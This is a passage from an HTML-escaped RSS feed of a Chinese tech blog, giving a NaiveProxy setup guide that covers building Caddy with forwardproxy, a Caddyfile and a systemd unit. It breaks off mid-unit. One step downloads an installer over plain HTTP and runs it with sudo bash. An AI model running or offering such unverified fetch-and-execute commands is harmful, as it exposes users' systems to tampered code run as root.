&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;/etc/init.d/nezha-service &lt;span class="nb"&gt;enable&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;#启动服务&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;/etc/init.d/nezha-service start
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;#后续要关闭开启启动的话&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;/etc/init.d/nezha-service disable
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;ok了就这么简单&lt;/p&gt;</description></item><item><title>NaiveProxy 简易配置</title><link>https://luodaoyi.com/posts/naiveproxy-%E7%AE%80%E6%98%93%E9%85%8D%E7%BD%AE/</link><pubDate>Tue, 05 Dec 2023 17:15:30 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/naiveproxy-%E7%AE%80%E6%98%93%E9%85%8D%E7%BD%AE/</guid><description>&lt;blockquote&gt;
&lt;p&gt;20250719 更新增加一键安装脚本，支持一键安装和卸载&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;20250324 更新&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;naiveproxy不可以代理udp&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id="更新一键安装卸载升级脚本"&gt;(更新)一键安装/卸载/升级脚本&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 一键安装&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;wget http://luodaoyi.com/naiveproxy-deploy.sh &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; sudo bash naiveproxy-deploy.sh --install
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h2 id="安装golang"&gt;安装golang&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1
&lt;/span&gt;&lt;span class="lnt"&gt; 2
&lt;/span&gt;&lt;span class="lnt"&gt; 3
&lt;/span&gt;&lt;span class="lnt"&gt; 4
&lt;/span&gt;&lt;span class="lnt"&gt; 5
&lt;/span&gt;&lt;span class="lnt"&gt; 6
&lt;/span&gt;&lt;span class="lnt"&gt; 7
&lt;/span&gt;&lt;span class="lnt"&gt; 8
&lt;/span&gt;&lt;span class="lnt"&gt; 9
&lt;/span&gt;&lt;span class="lnt"&gt;10
&lt;/span&gt;&lt;span class="lnt"&gt;11
&lt;/span&gt;&lt;span class="lnt"&gt;12
&lt;/span&gt;&lt;span class="lnt"&gt;13
&lt;/span&gt;&lt;span class="lnt"&gt;14
&lt;/span&gt;&lt;span class="lnt"&gt;15
&lt;/span&gt;&lt;span class="lnt"&gt;16
&lt;/span&gt;&lt;span class="lnt"&gt;17
&lt;/span&gt;&lt;span class="lnt"&gt;18
&lt;/span&gt;&lt;span class="lnt"&gt;19
&lt;/span&gt;&lt;span class="lnt"&gt;20
&lt;/span&gt;&lt;span class="lnt"&gt;21
&lt;/span&gt;&lt;span class="lnt"&gt;22
&lt;/span&gt;&lt;span class="lnt"&gt;23
&lt;/span&gt;&lt;span class="lnt"&gt;24
&lt;/span&gt;&lt;span class="lnt"&gt;25
&lt;/span&gt;&lt;span class="lnt"&gt;26
&lt;/span&gt;&lt;span class="lnt"&gt;27
&lt;/span&gt;&lt;span class="lnt"&gt;28
&lt;/span&gt;&lt;span class="lnt"&gt;29
&lt;/span&gt;&lt;span class="lnt"&gt;30
&lt;/span&gt;&lt;span class="lnt"&gt;31
&lt;/span&gt;&lt;span class="lnt"&gt;32
&lt;/span&gt;&lt;span class="lnt"&gt;33
&lt;/span&gt;&lt;span class="lnt"&gt;34
&lt;/span&gt;&lt;span class="lnt"&gt;35
&lt;/span&gt;&lt;span class="lnt"&gt;36
&lt;/span&gt;&lt;span class="lnt"&gt;37
&lt;/span&gt;&lt;span class="lnt"&gt;38
&lt;/span&gt;&lt;span class="lnt"&gt;39
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-shell" data-lang="shell"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo apt update
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo apt install wget -y
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 获取最新版本&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;export&lt;/span&gt; &lt;span class="nv"&gt;GO_VER&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;curl -s https://go.dev/dl/?mode&lt;span class="o"&gt;=&lt;/span&gt;json &lt;span class="p"&gt;|&lt;/span&gt; jq -r &lt;span class="s1"&gt;&amp;#39;.[0].version&amp;#39;&lt;/span&gt;&lt;span class="k"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$GO_VER&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;## 清空目录&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;rm -rf /usr/local/go &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; mkdir -p /usr/local/go
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# amd机器&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;wget https://go.dev/dl/&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;GO_VER&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;.linux-amd64.tar.gz 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo tar -zxvf &lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;GO_VER&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;.linux-amd64.tar.gz -C /usr/local/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 甲骨文之类的arm机器&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;wget https://go.dev/dl/&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;GO_VER&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;.linux-arm64.tar.gz
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo tar -zxvf &lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;GO_VER&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;.linux-arm64.tar.gz -C /usr/local/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 配置path&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cat &amp;gt; /etc/profile.d/go.sh &lt;span class="s"&gt;&amp;lt;&amp;lt; \EOF
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;export GOROOT=/usr/local/go
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;export PATH=$GOROOT/bin:$PATH
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;EOF&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;source&lt;/span&gt; /etc/profile.d/go.sh
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 加入环境变量&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cat &amp;gt;&amp;gt; ~/.bashrc &lt;span class="s"&gt;&amp;lt;&amp;lt; \EOF
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;export GOPATH=$HOME/.gopath
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;export PATH=$GOPATH/bin:$PATH
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;export GO111MODULE=on
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;#export GOPROXY=https://goproxy.cn
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;EOF&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;source&lt;/span&gt; ~/.bashrc &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; mkdir -p &lt;span class="nv"&gt;$GOPATH&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$GOPATH&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 看看正常不&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;go version
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;go env
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h2 id="编译安装"&gt;编译安装&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1
&lt;/span&gt;&lt;span class="lnt"&gt; 2
&lt;/span&gt;&lt;span class="lnt"&gt; 3
&lt;/span&gt;&lt;span class="lnt"&gt; 4
&lt;/span&gt;&lt;span class="lnt"&gt; 5
&lt;/span&gt;&lt;span class="lnt"&gt; 6
&lt;/span&gt;&lt;span class="lnt"&gt; 7
&lt;/span&gt;&lt;span class="lnt"&gt; 8
&lt;/span&gt;&lt;span class="lnt"&gt; 9
&lt;/span&gt;&lt;span class="lnt"&gt;10
&lt;/span&gt;&lt;span class="lnt"&gt;11
&lt;/span&gt;&lt;span class="lnt"&gt;12
&lt;/span&gt;&lt;span class="lnt"&gt;13
&lt;/span&gt;&lt;span class="lnt"&gt;14
&lt;/span&gt;&lt;span class="lnt"&gt;15
&lt;/span&gt;&lt;span class="lnt"&gt;16
&lt;/span&gt;&lt;span class="lnt"&gt;17
&lt;/span&gt;&lt;span class="lnt"&gt;18
&lt;/span&gt;&lt;span class="lnt"&gt;19
&lt;/span&gt;&lt;span class="lnt"&gt;20
&lt;/span&gt;&lt;span class="lnt"&gt;21
&lt;/span&gt;&lt;span class="lnt"&gt;22
&lt;/span&gt;&lt;span class="lnt"&gt;23
&lt;/span&gt;&lt;span class="lnt"&gt;24
&lt;/span&gt;&lt;span class="lnt"&gt;25
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-shell" data-lang="shell"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 开始编译&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo apt-get install libnss3 debian-keyring debian-archive-keyring apt-transport-https
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mkdir ~/src &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;cd&lt;/span&gt; ~/src/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 用xcaddy构建&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;go install github.com/caddyserver/xcaddy/cmd/xcaddy@latest
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 开始构建&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;xcaddy build &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --with github.com/caddyserver/forwardproxy@caddy2&lt;span class="o"&gt;=&lt;/span&gt;github.com/klzgrad/forwardproxy@naive &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --with github.com/caddy-dns/cloudflare@latest &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --with github.com/caddy-dns/dnspod@latest &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --with github.com/caddy-dns/alidns@latest 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo mv caddy /usr/bin/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;caddy version
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo setcap &lt;span class="nv"&gt;cap_net_bind_service&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;+ep /usr/bin/caddy &lt;span class="c1"&gt;# 设置bind权限，可443&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 检查正常不&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;caddy version 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 查看caddy已经安装的第三方模块&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;caddy list-modules --packages
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h2 id="配置服务"&gt;配置服务&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1
&lt;/span&gt;&lt;span class="lnt"&gt; 2
&lt;/span&gt;&lt;span class="lnt"&gt; 3
&lt;/span&gt;&lt;span class="lnt"&gt; 4
&lt;/span&gt;&lt;span class="lnt"&gt; 5
&lt;/span&gt;&lt;span class="lnt"&gt; 6
&lt;/span&gt;&lt;span class="lnt"&gt; 7
&lt;/span&gt;&lt;span class="lnt"&gt; 8
&lt;/span&gt;&lt;span class="lnt"&gt; 9
&lt;/span&gt;&lt;span class="lnt"&gt;10
&lt;/span&gt;&lt;span class="lnt"&gt;11
&lt;/span&gt;&lt;span class="lnt"&gt;12
&lt;/span&gt;&lt;span class="lnt"&gt;13
&lt;/span&gt;&lt;span class="lnt"&gt;14
&lt;/span&gt;&lt;span class="lnt"&gt;15
&lt;/span&gt;&lt;span class="lnt"&gt;16
&lt;/span&gt;&lt;span class="lnt"&gt;17
&lt;/span&gt;&lt;span class="lnt"&gt;18
&lt;/span&gt;&lt;span class="lnt"&gt;19
&lt;/span&gt;&lt;span class="lnt"&gt;20
&lt;/span&gt;&lt;span class="lnt"&gt;21
&lt;/span&gt;&lt;span class="lnt"&gt;22
&lt;/span&gt;&lt;span class="lnt"&gt;23
&lt;/span&gt;&lt;span class="lnt"&gt;24
&lt;/span&gt;&lt;span class="lnt"&gt;25
&lt;/span&gt;&lt;span class="lnt"&gt;26
&lt;/span&gt;&lt;span class="lnt"&gt;27
&lt;/span&gt;&lt;span class="lnt"&gt;28
&lt;/span&gt;&lt;span class="lnt"&gt;29
&lt;/span&gt;&lt;span class="lnt"&gt;30
&lt;/span&gt;&lt;span class="lnt"&gt;31
&lt;/span&gt;&lt;span class="lnt"&gt;32
&lt;/span&gt;&lt;span class="lnt"&gt;33
&lt;/span&gt;&lt;span class="lnt"&gt;34
&lt;/span&gt;&lt;span class="lnt"&gt;35
&lt;/span&gt;&lt;span class="lnt"&gt;36
&lt;/span&gt;&lt;span class="lnt"&gt;37
&lt;/span&gt;&lt;span class="lnt"&gt;38
&lt;/span&gt;&lt;span class="lnt"&gt;39
&lt;/span&gt;&lt;span class="lnt"&gt;40
&lt;/span&gt;&lt;span class="lnt"&gt;41
&lt;/span&gt;&lt;span class="lnt"&gt;42
&lt;/span&gt;&lt;span class="lnt"&gt;43
&lt;/span&gt;&lt;span class="lnt"&gt;44
&lt;/span&gt;&lt;span class="lnt"&gt;45
&lt;/span&gt;&lt;span class="lnt"&gt;46
&lt;/span&gt;&lt;span class="lnt"&gt;47
&lt;/span&gt;&lt;span class="lnt"&gt;48
&lt;/span&gt;&lt;span class="lnt"&gt;49
&lt;/span&gt;&lt;span class="lnt"&gt;50
&lt;/span&gt;&lt;span class="lnt"&gt;51
&lt;/span&gt;&lt;span class="lnt"&gt;52
&lt;/span&gt;&lt;span class="lnt"&gt;53
&lt;/span&gt;&lt;span class="lnt"&gt;54
&lt;/span&gt;&lt;span class="lnt"&gt;55
&lt;/span&gt;&lt;span class="lnt"&gt;56
&lt;/span&gt;&lt;span class="lnt"&gt;57
&lt;/span&gt;&lt;span class="lnt"&gt;58
&lt;/span&gt;&lt;span class="lnt"&gt;59
&lt;/span&gt;&lt;span class="lnt"&gt;60
&lt;/span&gt;&lt;span class="lnt"&gt;61
&lt;/span&gt;&lt;span class="lnt"&gt;62
&lt;/span&gt;&lt;span class="lnt"&gt;63
&lt;/span&gt;&lt;span class="lnt"&gt;64
&lt;/span&gt;&lt;span class="lnt"&gt;65
&lt;/span&gt;&lt;span class="lnt"&gt;66
&lt;/span&gt;&lt;span class="lnt"&gt;67
&lt;/span&gt;&lt;span class="lnt"&gt;68
&lt;/span&gt;&lt;span class="lnt"&gt;69
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-shell" data-lang="shell"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 开始配置&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mkdir -p /etc/caddy/ &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; touch /etc/caddy/Caddyfile
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cat &amp;gt; /etc/caddy/Caddyfile &lt;span class="s"&gt;&amp;lt;&amp;lt; \EOF
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; admin off
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; order forward_proxy before reverse_proxy
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;:443, luodaoyi.com {
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; tls asura@asura.com 
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; request_body {
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; max_size 1GB
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; forward_proxy {
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; basic_auth asura asura123
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; hide_ip
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; hide_via
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; probe_resistance
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; # 这里的端口是你反代的地址 随便你填 没的话填域名也可以
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; # reverse_proxy www.bing.com
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; reverse_proxy 127.0.0.1:33000
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;EOF&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 封装成服务 开机启动&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;groupadd --system caddy
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;useradd --system &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --gid caddy &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --create-home &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --home-dir /var/lib/caddy &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --shell /usr/sbin/nologin &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --comment &lt;span class="s2"&gt;&amp;#34;Caddy web server&amp;#34;&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; caddy
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cat &amp;gt; /etc/systemd/system/caddy.service &lt;span class="s"&gt;&amp;lt;&amp;lt; \EOF
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;[Unit]
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;Description=Caddy
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;Documentation=https://caddyserver.com/docs/
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;After=network.target network-online.target
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;Requires=network-online.target
